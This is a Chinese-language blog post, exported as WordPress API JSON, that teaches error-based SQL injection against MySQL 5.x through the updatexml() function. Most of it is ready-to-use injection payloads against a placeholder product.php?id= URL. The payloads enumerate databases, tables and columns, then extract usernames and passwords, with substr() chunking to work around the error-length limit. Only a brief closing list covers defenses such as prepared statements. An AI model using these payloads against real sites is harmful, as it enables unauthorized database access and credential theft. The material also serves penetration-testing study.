{"id":19,"date":"2026-05-20T20:02:56","date_gmt":"2026-05-20T12:02:56","guid":{"rendered":"http:\/\/tangjin.xyz\/?p=19"},"modified":"2026-05-20T20:02:56","modified_gmt":"2026-05-20T12:02:56","slug":"sql%e6%b3%a8%e5%85%a5%e4%b9%8b%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5%e4%b9%8bupdatexml%e5%87%bd%e6%95%b0","status":"publish","type":"post","link":"http:\/\/tangjin.xyz\/index.php\/2026\/05\/20\/sql%e6%b3%a8%e5%85%a5%e4%b9%8b%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5%e4%b9%8bupdatexml%e5%87%bd%e6%95%b0\/","title":{"rendered":"SQL\u6ce8\u5165\u4e4b\u62a5\u9519\u6ce8\u5165\u4e4bupdatexml\u51fd\u6570"},"content":{"rendered":"\n

\u5728\u62a5\u9519\u6ce8\u5165\u4e2d\uff0cupdatexml()<\/code> \u7684\u6838\u5fc3\u7528\u6cd5\u662f\uff1a\u6545\u610f\u5236\u9020\u4e00\u4e2a XPath \u8bed\u6cd5\u9519\u8bef\uff0c\u5e76\u5728\u9519\u8bef\u4fe1\u606f\u4e2d\u5939\u5e26\u6211\u4eec\u60f3\u8981\u67e5\u8be2\u7684\u6570\u636e<\/strong>\u3002\u4e0b\u9762\u901a\u8fc7\u4e00\u4e2a\u5b8c\u6574\u7684\u653b\u51fb\u6d41\u7a0b\uff0c\u7ed3\u5408\u5b9e\u9645\u4f8b\u5b50\u6765\u8bf4\u660e\u5177\u4f53\u600e\u4e48\u64cd\u4f5c\u3002<\/p>\n\n\n\n

\n\n\n\n

\ud83c\udfaf \u524d\u63d0\u6761\u4ef6<\/h2>\n\n\n\n
    \n
  • \u76ee\u6807 MySQL \u7248\u672c\u4e3a 5.x\uff088.0 \u5df2\u79fb\u9664\u6b64\u51fd\u6570\uff09\u3002<\/li>\n\n\n\n
  • Web \u5e94\u7528\u5b58\u5728 SQL \u6ce8\u5165\u70b9\uff08\u4f8b\u5982 URL \u53c2\u6570\u3001\u8868\u5355\u8f93\u5165\uff09\u3002<\/li>\n\n\n\n
  • \u5e94\u7528\u4f1a\u76f4\u63a5\u8f93\u51fa\u6570\u636e\u5e93\u7684\u8be6\u7ec6\u9519\u8bef\u4fe1\u606f<\/strong>\uff08\u6bd4\u5982\u5f00\u53d1\u73af\u5883\u6216\u914d\u7f6e\u4e0d\u5f53\uff09\u3002<\/li>\n<\/ul>\n\n\n\n
    \n\n\n\n

    \ud83d\udca3 \u64cd\u4f5c\u6b65\u9aa4<\/h2>\n\n\n\n

    1. \u5bfb\u627e\u6ce8\u5165\u70b9<\/h3>\n\n\n\n

    \u5047\u8bbe\u6709\u4e00\u4e2a URL\uff1a<\/p>\n\n\n\n

    http://example.com\/product.php?id=1<\/code><\/pre>\n\n\n\n
    \u5c1d\u8bd5\u5728 id<\/code> \u53c2\u6570\u540e\u52a0\u4e00\u4e2a\u5355\u5f15\u53f7\uff1a<\/p>\n\n\n\n
    http://example.com\/product.php?id=1'<\/code><\/pre>\n\n\n\n
    \u5982\u679c\u9875\u9762\u62a5\u9519\uff0c\u8bf4\u660e\u5b58\u5728\u6ce8\u5165\u3002<\/p>\n\n\n\n
    2. \u6784\u9020\u62a5\u9519\u6ce8\u5165 Payload<\/h3>\n\n\n\n
    \u57fa\u672c\u683c\u5f0f\uff1a<\/p>\n\n\n\n
    ' AND updatexml(1, concat('~', (\u5b50\u67e5\u8be2)), 1) --+<\/code><\/pre>\n\n\n\n
    2.1 \u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d<\/h4>\n\n\n\n
    http:\/\/example.com\/product.php?id=1' AND updatexml(1, concat('~', database()), 1) --+<\/code><\/pre>\n\n\n\n
    \u6548\u679c<\/strong>\uff1a\u9875\u9762\u62a5\u9519\u7c7b\u4f3c XPATH syntax error: '~testdb'<\/code>\uff0c\u6570\u636e\u5e93\u540d testdb<\/code> \u5c31\u6cc4\u9732\u4e86\u3002<\/p>\n\n\n\n
    2.2 \u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93\u540d\uff08\u5217\u8868\uff09<\/h4>\n\n\n\n
    http:\/\/example.com\/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1) --+<\/code><\/pre>\n\n\n\n
    \u6ce8\u610f<\/strong>\uff1agroup_concat()<\/code> \u53ef\u80fd\u8fd4\u56de\u8d85\u8fc7 32 \u4e2a\u5b57\u7b26\uff0c\u9700\u8981\u7528 substr()<\/code> \u5206\u6bb5\u53d6\u3002<\/p>\n\n\n\n
    2.3 \u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u8868\u540d<\/h4>\n\n\n\n
    http:\/\/example.com\/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())), 1) --+<\/code><\/pre>\n\n\n\n
    2.4 \u83b7\u53d6\u67d0\u4e2a\u8868\uff08\u4f8b\u5982 users<\/code>\uff09\u7684\u5b57\u6bb5\u540d<\/h4>\n\n\n\n
    http:\/\/example.com\/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')), 1) --+<\/code><\/pre>\n\n\n\n
    2.5 \u63d0\u53d6\u6570\u636e\uff08\u7528\u6237\u540d\u3001\u5bc6\u7801\uff09<\/h4>\n\n\n\n
    http:\/\/example.com\/product.php?id=1' AND updatexml(1, concat('~', (SELECT group_concat(username, ':', password) FROM users)), 1) --+<\/code><\/pre>\n\n\n\n
    \n\n\n\n
    \u26a0\ufe0f \u957f\u5ea6\u9650\u5236\u5904\u7406<\/h2>\n\n\n\n
    updatexml()<\/code> \u62a5\u9519\u53ea\u80fd\u663e\u793a 32 \u4e2a\u5b57\u7b26<\/strong>\u3002\u5982\u679c\u6570\u636e\u8fc7\u957f\uff0c\u9700\u8981\u5206\u6bb5\u83b7\u53d6\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n
    -- \u53d6\u524d 30 \u4f4d\n' AND updatexml(1, concat('~', substr((SELECT group_concat(username) FROM users), 1, 30)), 1) --+\n\n-- \u53d6\u7b2c 31 \u5230 60 \u4f4d\n' AND updatexml(1, concat('~', substr((SELECT group_concat(username) FROM users), 31, 30)), 1) --+<\/code><\/pre>\n\n\n\n
    \n\n\n\n
    \ud83d\udccc \u5b8c\u6574\u793a\u4f8b\uff08\u6a21\u62df\u5b9e\u6218\uff09<\/h2>\n\n\n\n
    \u76ee\u6807<\/strong>\uff1a\u83b7\u53d6 users<\/code> \u8868\u4e2d\u7684 username<\/code> \u5b57\u6bb5\u3002<\/p>\n\n\n\n
      \n
    1. \u5148\u786e\u5b9a\u8868\u540d\uff1a<\/li>\n<\/ol>\n\n\n\n
         id=1' AND updatexml(1, concat('~', (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), 1) --+<\/code><\/pre>\n\n\n\n
      \u8fd4\u56de '~users'<\/code> \u2192 \u8868\u540d\u4e3a users<\/code>\u3002<\/p>\n\n\n\n
        \n
      1. \u786e\u5b9a\u5217\u540d\uff1a<\/li>\n<\/ol>\n\n\n\n
           id=1' AND updatexml(1, concat('~', (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 1) --+<\/code><\/pre>\n\n\n\n
        \u8fd4\u56de '~id'<\/code>\uff0c\u7ee7\u7eed\u6362 LIMIT 1,1<\/code> \u5f97\u5230 '~username'<\/code>\uff0c\u518d LIMIT 2,1<\/code> \u5f97\u5230 '~password'<\/code>\u3002<\/p>\n\n\n\n
          \n
        1. \u63d0\u53d6\u6570\u636e\uff1a<\/li>\n<\/ol>\n\n\n\n
             id=1' AND updatexml(1, concat('~', (SELECT username FROM users LIMIT 0,1)), 1) --+<\/code><\/pre>\n\n\n\n
          \u8fd4\u56de '~admin'<\/code>\u3002<\/p>\n\n\n\n
            \n
          1. \u5982\u679c\u5bc6\u7801\u8d85\u8fc7 32 \u4f4d\uff0c\u5206\u6bb5\u62ff\uff1a<\/li>\n<\/ol>\n\n\n\n
               id=1' AND updatexml(1, concat('~', substr((SELECT password FROM users LIMIT 0,1), 1, 30)), 1) --+<\/code><\/pre>\n\n\n\n
            \n\n\n\n
            \ud83d\udee1\ufe0f \u9632\u5fa1\u63d0\u793a\uff08\u7ed9\u5f00\u53d1\u4eba\u5458\uff09<\/h2>\n\n\n\n
              \n
            • \u5173\u95ed\u9519\u8bef\u56de\u663e\uff0c\u4f7f\u7528\u81ea\u5b9a\u4e49\u9519\u8bef\u9875\u9762\u3002<\/li>\n\n\n\n
            • \u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2\uff08Prepared Statements\uff09\u3002<\/li>\n\n\n\n
            • \u7981\u7528\u5371\u9669\u51fd\u6570\uff08\u5982\u679c\u7248\u672c\u53ef\u63a7\uff0c\u5347\u7ea7\u5230 MySQL 8.0\uff09\u3002<\/li>\n<\/ul>\n\n\n\n
              \n\n\n\n
              \u603b\u7ed3<\/h2>\n\n\n\n
              \u62a5\u9519\u6ce8\u5165\u4e2d\u641e updatexml()<\/code> \u5c31\u662f\uff1a<\/p>\n\n\n\n
                \n
              1. \u5728\u6ce8\u5165\u70b9\u62fc\u63a5 updatexml()<\/code> \u51fd\u6570\u3002<\/li>\n\n\n\n
              2. \u7b2c\u4e8c\u4e2a\u53c2\u6570\u7528 concat('~', \u5b50\u67e5\u8be2)<\/code> \u4f7f XPath \u975e\u6cd5\u3002<\/li>\n\n\n\n
              3. \u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u8bfb\u51fa\u5b50\u67e5\u8be2\u7684\u7ed3\u679c\u3002<\/li>\n\n\n\n
              4. \u9047\u5230\u957f\u5ea6\u9650\u5236\u5c31\u7528 substr()<\/code> \u5206\u5757\u3002<\/li>\n<\/ol>\n\n\n\n
                \u8bb0\u4f4f\u8fd9\u4e2a\u6a21\u677f\uff0c\u518d\u6839\u636e\u5177\u4f53\u8868\u7ed3\u6784\u8c03\u6574\u5b50\u67e5\u8be2\u5373\u53ef\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
                \u5728\u62a5\u9519\u6ce8\u5165\u4e2d\uff0cupdatexml() \u7684\u6838\u5fc3\u7528\u6cd5\u662f\uff1a\u6545\u610f\u5236\u9020\u4e00\u4e2a XPath \u8bed\u6cd5\u9519\u8bef\uff0c\u5e76\u5728\u9519\u8bef\u4fe1\u606f\u4e2d\u5939\u5e26\u6211\u4eec […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-19","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/19","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=19"}],"version-history":[{"count":1,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/19\/revisions"}],"predecessor-version":[{"id":20,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/19\/revisions\/20"}],"wp:attachment":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}